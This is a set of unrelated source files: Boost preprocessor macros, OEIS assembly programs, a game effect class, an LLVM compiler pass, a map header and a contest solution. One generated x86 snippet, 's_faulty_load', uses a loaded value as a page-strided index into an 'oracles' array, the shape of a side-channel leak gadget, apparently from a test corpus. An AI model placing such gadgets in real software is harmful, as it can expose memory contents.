# define BOOST_PP_FOR_234_I(s, p, o, m) BOOST_PP_IF(p(235, s), m, BOOST_PP_TUPLE_EAT_2)(235, s) BOOST_PP_IF(p(235, s), BOOST_PP_FOR_235, BOOST_PP_TUPLE_EAT_4)(o(235, s), p, o, m)
# define BOOST_PP_FOR_235_I(s, p, o, m) BOOST_PP_IF(p(236, s), m, BOOST_PP_TUPLE_EAT_2)(236, s) BOOST_PP_IF(p(236, s), BOOST_PP_FOR_236, BOOST_PP_TUPLE_EAT_4)(o(236, s), p, o, m)
# define BOOST_PP_FOR_236_I(s, p, o, m) BOOST_PP_IF(p(237, s), m, BOOST_PP_TUPLE_EAT_2)(237, s) BOOST_PP_IF(p(237, s), BOOST_PP_FOR_237, BOOST_PP_TUPLE_EAT_4)(o(237, s), p, o, m)
# define BOOST_PP_FOR_237_I(s, p, o, m) BOOST_PP_IF(p(238, s), m, BOOST_PP_TUPLE_EAT_2)(238, s) BOOST_PP_IF(p(238, s), BOOST_PP_FOR_238, BOOST_PP_TUPLE_EAT_4)(o(238, s), p, o, m)
# define BOOST_PP_FOR_238_I(s, p, o, m) BOOST_PP_IF(p(239, s), m, BOOST_PP_TUPLE_EAT_2)(239, s) BOOST_PP_IF(p(239, s), BOOST_PP_FOR_239, BOOST_PP_TUPLE_EAT_4)(o(239, s), p, o, m)
# define BOOST_PP_FOR_239_I(s, p, o, m) BOOST_PP_IF(p(240, s), m, BOOST_PP_TUPLE_EAT_2)(240, s) BOOST_PP_IF(p(240, s), BOOST_PP_FOR_240, BOOST_PP_TUPLE_EAT_4)(o(240, s), p, o, m)
# define BOOST_PP_FOR_240_I(s, p, o, m) BOOST_PP_IF(p(241, s), m, BOOST_PP_TUPLE_EAT_2)(241, s) BOOST_PP_IF(p(241, s), BOOST_PP_FOR_241, BOOST_PP_TUPLE_EAT_4)(o(241, s), p, o, m)
# define BOOST_PP_FOR_241_I(s, p, o, m) BOOST_PP_IF(p(242, s), m, BOOST_PP_TUPLE_EAT_2)(242, s) BOOST_PP_IF(p(242, s), BOOST_PP_FOR_242, BOOST_PP_TUPLE_EAT_4)(o(242, s), p, o, m)
# define BOOST_PP_FOR_242_I(s, p, o, m) BOOST_PP_IF(p(243, s), m, BOOST_PP_TUPLE_EAT_2)(243, s) BOOST_PP_IF(p(243, s), BOOST_PP_FOR_243, BOOST_PP_TUPLE_EAT_4)(o(243, s), p, o, m)
# define BOOST_PP_FOR_243_I(s, p, o, m) BOOST_PP_IF(p(244, s), m, BOOST_PP_TUPLE_EAT_2)(244, s) BOOST_PP_IF(p(244, s), BOOST_PP_FOR_244, BOOST_PP_TUPLE_EAT_4)(o(244, s), p, o, m)
# define BOOST_PP_FOR_244_I(s, p, o, m) BOOST_PP_IF(p(245, s), m, BOOST_PP_TUPLE_EAT_2)(245, s) BOOST_PP_IF(p(245, s), BOOST_PP_FOR_245, BOOST_PP_TUPLE_EAT_4)(o(245, s), p, o, m)
# define BOOST_PP_FOR_245_I(s, p, o, m) BOOST_PP_IF(p(246, s), m, BOOST_PP_TUPLE_EAT_2)(246, s) BOOST_PP_IF(p(246, s), BOOST_PP_FOR_246, BOOST_PP_TUPLE_EAT_4)(o(246, s), p, o, m)
# define BOOST_PP_FOR_246_I(s, p, o, m) BOOST_PP_IF(p(247, s), m, BOOST_PP_TUPLE_EAT_2)(247, s) BOOST_PP_IF(p(247, s), BOOST_PP_FOR_247, BOOST_PP_TUPLE_EAT_4)(o(247, s), p, o, m)
# define BOOST_PP_FOR_247_I(s, p, o, m) BOOST_PP_IF(p(248, s), m, BOOST_PP_TUPLE_EAT_2)(248, s) BOOST_PP_IF(p(248, s), BOOST_PP_FOR_248, BOOST_PP_TUPLE_EAT_4)(o(248, s), p, o, m)
# define BOOST_PP_FOR_248_I(s, p, o, m) BOOST_PP_IF(p(249, s), m, BOOST_PP_TUPLE_EAT_2)(249, s) BOOST_PP_IF(p(249, s), BOOST_PP_FOR_249, BOOST_PP_TUPLE_EAT_4)(o(249, s), p, o, m)
# define BOOST_PP_FOR_249_I(s, p, o, m) BOOST_PP_IF(p(250, s), m, BOOST_PP_TUPLE_EAT_2)(250, s) BOOST_PP_IF(p(250, s), BOOST_PP_FOR_250, BOOST_PP_TUPLE_EAT_4)(o(250, s), p, o, m)
# define BOOST_PP_FOR_250_I(s, p, o, m) BOOST_PP_IF(p(251, s), m, BOOST_PP_TUPLE_EAT_2)(251, s) BOOST_PP_IF(p(251, s), BOOST_PP_FOR_251, BOOST_PP_TUPLE_EAT_4)(o(251, s), p, o, m)
# define BOOST_PP_FOR_251_I(s, p, o, m) BOOST_PP_IF(p(252, s), m, BOOST_PP_TUPLE_EAT_2)(252, s) BOOST_PP_IF(p(252, s), BOOST_PP_FOR_252, BOOST_PP_TUPLE_EAT_4)(o(252, s), p, o, m)
# define BOOST_PP_FOR_252_I(s, p, o, m) BOOST_PP_IF(p(253, s), m, BOOST_PP_TUPLE_EAT_2)(253, s) BOOST_PP_IF(p(253, s), BOOST_PP_FOR_253, BOOST_PP_TUPLE_EAT_4)(o(253, s), p, o, m)
# define BOOST_PP_FOR_253_I(s, p, o, m) BOOST_PP_IF(p(254, s), m, BOOST_PP_TUPLE_EAT_2)(254, s) BOOST_PP_IF(p(254, s), BOOST_PP_FOR_254, BOOST_PP_TUPLE_EAT_4)(o(254, s), p, o, m)
# define BOOST_PP_FOR_254_I(s, p, o, m) BOOST_PP_IF(p(255, s), m, BOOST_PP_TUPLE_EAT_2)(255, s) BOOST_PP_IF(p(255, s), BOOST_PP_FOR_255, BOOST_PP_TUPLE_EAT_4)(o(255, s), p, o, m)
# define BOOST_PP_FOR_255_I(s, p, o, m) BOOST_PP_IF(p(256, s), m, BOOST_PP_TUPLE_EAT_2)(256, s) BOOST_PP_IF(p(256, s), BOOST_PP_FOR_256, BOOST_PP_TUPLE_EAT_4)(o(256, s), p, o, m)
# define BOOST_PP_FOR_256_I(s, p, o, m) BOOST_PP_IF(p(257, s), m, BOOST_PP_TUPLE_EAT_2)(257, s) BOOST_PP_IF(p(257, s), BOOST_PP_FOR_257, BOOST_PP_TUPLE_EAT_4)(o(257, s), p, o, m)
#
# endif
|
; A086652: a(n) = A000225(n+3)-A052955(n).
; 6,13,28,58,120,244,496,1000,2016,4048,8128,16288,32640,65344,130816,261760,523776,1047808,2096128,4192768,8386560,16774144,33550336,67102720,134209536,268423168,536854528,1073717248,2147450880
mov $1,6
add $1,$0
mov $3,$0
lpb $0
sub $0,1
mov $2,$1
sub $2,$3
add $1,$2
trn $3,2
lpe
mov $0,$1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r15
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x4882, %r12
nop
nop
nop
nop
xor $9841, %rcx
mov (%r12), %r10d
nop
nop
cmp %r11, %r11
lea addresses_UC_ht+0x2202, %r10
nop
nop
nop
and $42560, %rbx
mov (%r10), %r15w
nop
nop
nop
nop
and %r10, %r10
lea addresses_A_ht+0x3102, %rcx
and %rsi, %rsi
movups (%rcx), %xmm6
vpextrq $1, %xmm6, %r10
nop
nop
add $29897, %r10
lea addresses_D_ht+0x18982, %r10
nop
nop
nop
nop
cmp $36642, %r15
movl $0x61626364, (%r10)
nop
nop
nop
nop
nop
add $38594, %rsi
lea addresses_UC_ht+0x1bebe, %rcx
cmp $56701, %rsi
movl $0x61626364, (%rcx)
nop
nop
xor %r10, %r10
lea addresses_D_ht+0x10182, %rsi
lea addresses_normal_ht+0xa6a, %rdi
nop
nop
add %r12, %r12
mov $16, %rcx
rep movsb
inc %rbx
lea addresses_A_ht+0xb082, %r10
add $27832, %rsi
movl $0x61626364, (%r10)
nop
nop
nop
nop
nop
inc %r11
lea addresses_WC_ht+0x3482, %r11
nop
sub %rcx, %rcx
movb $0x61, (%r11)
nop
nop
nop
dec %rbx
lea addresses_UC_ht+0x1de02, %rcx
nop
nop
nop
xor %r10, %r10
movw $0x6162, (%rcx)
nop
nop
nop
dec %rdi
lea addresses_WT_ht+0x1d202, %r11
nop
nop
nop
nop
sub %r12, %r12
mov $0x6162636465666768, %r15
movq %r15, %xmm3
movups %xmm3, (%r11)
nop
nop
nop
nop
nop
add $43265, %rdi
lea addresses_normal_ht+0xbc82, %rdi
nop
nop
nop
cmp $56397, %rbx
mov $0x6162636465666768, %rsi
movq %rsi, (%rdi)
nop
nop
nop
cmp $50486, %r12
lea addresses_WT_ht+0x1de22, %r11
nop
nop
cmp %rbx, %rbx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm4
vmovups %ymm4, (%r11)
cmp $60091, %r11
lea addresses_A_ht+0x13b06, %r10
nop
nop
nop
sub %r12, %r12
movb (%r10), %cl
nop
xor %rcx, %rcx
lea addresses_D_ht+0x15482, %rdi
nop
nop
and $60592, %r15
mov $0x6162636465666768, %rcx
movq %rcx, %xmm7
vmovups %ymm7, (%rdi)
nop
nop
nop
nop
and %rsi, %rsi
lea addresses_normal_ht+0xf482, %rsi
cmp $62578, %r10
movb (%rsi), %bl
nop
and $36345, %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r15
push %r9
push %rbx
push %rcx
// Store
lea addresses_WC+0xcc82, %rcx
and $42782, %r15
movb $0x51, (%rcx)
nop
nop
nop
and %rbx, %rbx
// Store
lea addresses_normal+0x14ef4, %r15
nop
nop
nop
and %r12, %r12
mov $0x5152535455565758, %r9
movq %r9, %xmm0
vmovups %ymm0, (%r15)
nop
add %r13, %r13
// Faulty Load
lea addresses_normal+0xfc82, %r9
nop
nop
nop
nop
nop
sub %r15, %r15
mov (%r9), %r12w
lea oracles, %r9
and $0xff, %r12
shlq $12, %r12
mov (%r9,%r12,1), %r12
pop %rcx
pop %rbx
pop %r9
pop %r15
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 1, 'congruent': 11, 'NT': True, 'AVXalign': True}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 32, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'same': True, 'size': 2, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 16, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D_ht', 'same': True, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal_ht', 'same': True, 'size': 8, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
; A004343: Binomial coefficient C(5n,n-1).
; 1,10,105,1140,12650,142506,1623160,18643560,215553195,2505433700,29248649430,342700125300,4027810484880,47465835030320,560658857389200,6635869816740560,78682166288559225,934433788613079150
mov $1,5
mul $1,$0
add $1,5
bin $1,$0
mov $0,$1
|
/*
* Attack.cpp
*
* Created on: May 18, 2013
* Author: planke
*/
#include "PoisonEffect.h"
#include "../Units/Unit.h"
PoisonEffect::~PoisonEffect() {
}
PoisonEffect::PoisonEffect(float timeInMilliseconds, float tickEveryMilliSeconds, float dmgPerTick) :
Effect(timeInMilliseconds, tickEveryMilliSeconds) {
_damagePerTick = dmgPerTick;
_isHarmful = true;
_GUID = 2;
_isStackAble = true; //if false, only duration is updated
}
void PoisonEffect::onApply(Unit* owner) {
owner->addGreenColor();
}
void PoisonEffect::perform(Unit* owner) {
owner->Receivedamage(_damagePerTick, MAGIC);
}
void PoisonEffect::onRemoving(Unit* owner) {
owner->removeGreenColor();
}
|
//===-- ExpandPostRAPseudos.cpp - Pseudo instruction expansion pass -------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file defines a pass that expands COPY and SUBREG_TO_REG pseudo
// instructions after register allocation.
//
//===----------------------------------------------------------------------===//
#define DEBUG_TYPE "postrapseudos"
#include "llvm/CodeGen/Passes.h"
#include "llvm/CodeGen/MachineFunctionPass.h"
#include "llvm/CodeGen/MachineInstr.h"
#include "llvm/CodeGen/MachineInstrBuilder.h"
#include "llvm/CodeGen/MachineRegisterInfo.h"
#include "llvm/Target/TargetRegisterInfo.h"
#include "llvm/Target/TargetInstrInfo.h"
#include "llvm/Target/TargetMachine.h"
#include "llvm/Support/Debug.h"
#include "llvm/Support/raw_ostream.h"
using namespace llvm;
namespace {
struct ExpandPostRA : public MachineFunctionPass {
private:
const TargetRegisterInfo *TRI;
const TargetInstrInfo *TII;
public:
static char ID; // Pass identification, replacement for typeid
ExpandPostRA() : MachineFunctionPass(ID) {}
virtual void getAnalysisUsage(AnalysisUsage &AU) const {
AU.setPreservesCFG();
AU.addPreservedID(MachineLoopInfoID);
AU.addPreservedID(MachineDominatorsID);
MachineFunctionPass::getAnalysisUsage(AU);
}
/// runOnMachineFunction - pass entry point
bool runOnMachineFunction(MachineFunction&);
private:
bool LowerSubregToReg(MachineInstr *MI);
bool LowerCopy(MachineInstr *MI);
void TransferDeadFlag(MachineInstr *MI, unsigned DstReg,
const TargetRegisterInfo *TRI);
void TransferImplicitDefs(MachineInstr *MI);
};
} // end anonymous namespace
char ExpandPostRA::ID = 0;
char &llvm::ExpandPostRAPseudosID = ExpandPostRA::ID;
INITIALIZE_PASS(ExpandPostRA, "postrapseudos",
"Post-RA pseudo instruction expansion pass", false, false)
/// TransferDeadFlag - MI is a pseudo-instruction with DstReg dead,
/// and the lowered replacement instructions immediately precede it.
/// Mark the replacement instructions with the dead flag.
void
ExpandPostRA::TransferDeadFlag(MachineInstr *MI, unsigned DstReg,
const TargetRegisterInfo *TRI) {
for (MachineBasicBlock::iterator MII =
prior(MachineBasicBlock::iterator(MI)); ; --MII) {
if (MII->addRegisterDead(DstReg, TRI))
break;
assert(MII != MI->getParent()->begin() &&
"copyPhysReg output doesn't reference destination register!");
}
}
/// TransferImplicitDefs - MI is a pseudo-instruction, and the lowered
/// replacement instructions immediately precede it. Copy any implicit-def
/// operands from MI to the replacement instruction.
void
ExpandPostRA::TransferImplicitDefs(MachineInstr *MI) {
MachineBasicBlock::iterator CopyMI = MI;
--CopyMI;
for (unsigned i = 0, e = MI->getNumOperands(); i != e; ++i) {
MachineOperand &MO = MI->getOperand(i);
if (!MO.isReg() || !MO.isImplicit() || MO.isUse())
continue;
CopyMI->addOperand(MachineOperand::CreateReg(MO.getReg(), true, true));
}
}
bool ExpandPostRA::LowerSubregToReg(MachineInstr *MI) {
MachineBasicBlock *MBB = MI->getParent();
assert((MI->getOperand(0).isReg() && MI->getOperand(0).isDef()) &&
MI->getOperand(1).isImm() &&
(MI->getOperand(2).isReg() && MI->getOperand(2).isUse()) &&
MI->getOperand(3).isImm() && "Invalid subreg_to_reg");
unsigned DstReg = MI->getOperand(0).getReg();
unsigned InsReg = MI->getOperand(2).getReg();
assert(!MI->getOperand(2).getSubReg() && "SubIdx on physreg?");
unsigned SubIdx = MI->getOperand(3).getImm();
assert(SubIdx != 0 && "Invalid index for insert_subreg");
unsigned DstSubReg = TRI->getSubReg(DstReg, SubIdx);
assert(TargetRegisterInfo::isPhysicalRegister(DstReg) &&
"Insert destination must be in a physical register");
assert(TargetRegisterInfo::isPhysicalRegister(InsReg) &&
"Inserted value must be in a physical register");
DEBUG(dbgs() << "subreg: CONVERTING: " << *MI);
if (DstSubReg == InsReg) {
// No need to insert an identify copy instruction.
// Watch out for case like this:
// %RAX<def> = SUBREG_TO_REG 0, %EAX<kill>, 3
// We must leave %RAX live.
if (DstReg != InsReg) {
MI->setDesc(TII->get(TargetOpcode::KILL));
MI->RemoveOperand(3); // SubIdx
MI->RemoveOperand(1); // Imm
DEBUG(dbgs() << "subreg: replace by: " << *MI);
return true;
}
DEBUG(dbgs() << "subreg: eliminated!");
} else {
TII->copyPhysReg(*MBB, MI, MI->getDebugLoc(), DstSubReg, InsReg,
MI->getOperand(2).isKill());
// Implicitly define DstReg for subsequent uses.
MachineBasicBlock::iterator CopyMI = MI;
--CopyMI;
CopyMI->addRegisterDefined(DstReg);
// Transfer the kill/dead flags, if needed.
if (MI->getOperand(0).isDead())
TransferDeadFlag(MI, DstSubReg, TRI);
DEBUG(dbgs() << "subreg: " << *CopyMI);
}
DEBUG(dbgs() << '\n');
MBB->erase(MI);
return true;
}
bool ExpandPostRA::LowerCopy(MachineInstr *MI) {
MachineOperand &DstMO = MI->getOperand(0);
MachineOperand &SrcMO = MI->getOperand(1);
if (SrcMO.getReg() == DstMO.getReg()) {
DEBUG(dbgs() << "identity copy: " << *MI);
// No need to insert an identity copy instruction, but replace with a KILL
// if liveness is changed.
if (DstMO.isDead() || SrcMO.isUndef() || MI->getNumOperands() > 2) {
// We must make sure the super-register gets killed. Replace the
// instruction with KILL.
MI->setDesc(TII->get(TargetOpcode::KILL));
DEBUG(dbgs() << "replaced by: " << *MI);
return true;
}
// Vanilla identity copy.
MI->eraseFromParent();
return true;
}
DEBUG(dbgs() << "real copy: " << *MI);
TII->copyPhysReg(*MI->getParent(), MI, MI->getDebugLoc(),
DstMO.getReg(), SrcMO.getReg(), SrcMO.isKill());
if (DstMO.isDead())
TransferDeadFlag(MI, DstMO.getReg(), TRI);
if (MI->getNumOperands() > 2)
TransferImplicitDefs(MI);
DEBUG({
MachineBasicBlock::iterator dMI = MI;
dbgs() << "replaced by: " << *(--dMI);
});
MI->eraseFromParent();
return true;
}
/// runOnMachineFunction - Reduce subregister inserts and extracts to register
/// copies.
///
bool ExpandPostRA::runOnMachineFunction(MachineFunction &MF) {
DEBUG(dbgs() << "Machine Function\n"
<< "********** EXPANDING POST-RA PSEUDO INSTRS **********\n"
<< "********** Function: " << MF.getName() << '\n');
TRI = MF.getTarget().getRegisterInfo();
TII = MF.getTarget().getInstrInfo();
bool MadeChange = false;
for (MachineFunction::iterator mbbi = MF.begin(), mbbe = MF.end();
mbbi != mbbe; ++mbbi) {
for (MachineBasicBlock::iterator mi = mbbi->begin(), me = mbbi->end();
mi != me;) {
MachineInstr *MI = mi;
// Advance iterator here because MI may be erased.
++mi;
// Only expand pseudos.
if (!MI->isPseudo())
continue;
// Give targets a chance to expand even standard pseudos.
if (TII->expandPostRAPseudo(MI)) {
MadeChange = true;
continue;
}
// Expand standard pseudos.
switch (MI->getOpcode()) {
case TargetOpcode::SUBREG_TO_REG:
MadeChange |= LowerSubregToReg(MI);
break;
case TargetOpcode::COPY:
MadeChange |= LowerCopy(MI);
break;
case TargetOpcode::DBG_VALUE:
continue;
case TargetOpcode::INSERT_SUBREG:
case TargetOpcode::EXTRACT_SUBREG:
llvm_unreachable("Sub-register pseudos should have been eliminated.");
}
}
}
return MadeChange;
}
|
map_header BluesHouse, BLUES_HOUSE, HOUSE, 0
end_map_header
|
#include <bits/stdc++.h>
using namespace std;
typedef long long int llint;
typedef unsigned long long int ullint;
typedef short int sint;
#define endn "\n"
#define umap unordered_map
#define uset unordered_set
#define pb push_back
template<typename tem>
void print_vector(vector<tem> &vec) {
for (auto &ele : vec) cout<<ele<<" ";
cout << "\n";}
int main(void) {
ios_base::sync_with_stdio(false);
cin.tie(NULL); cout.tie(NULL);
int n, k;
cin >> n >> k;
vector<int> a(n);
bool is_all_equal = true;
cin >> a[0];
for (int i = 1; i < n; i++) {
cin >> a[i];
}
int ans = k-1;
int k_value = a[k-1];
for (int i = k-1; i < n; i++) {
if (k_value != a[i])
ans = -1;
}
if (ans != -1) {
for (int i = k-2; i >= 0; i--) {
if (a[i] != k_value) {
break;
}
else {
ans--;
}
}
}
cout << ans << endn;
}
// Solved By: shihab4t
// Sunday, August 01, 2021 | 07:19:58 PM (+06)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.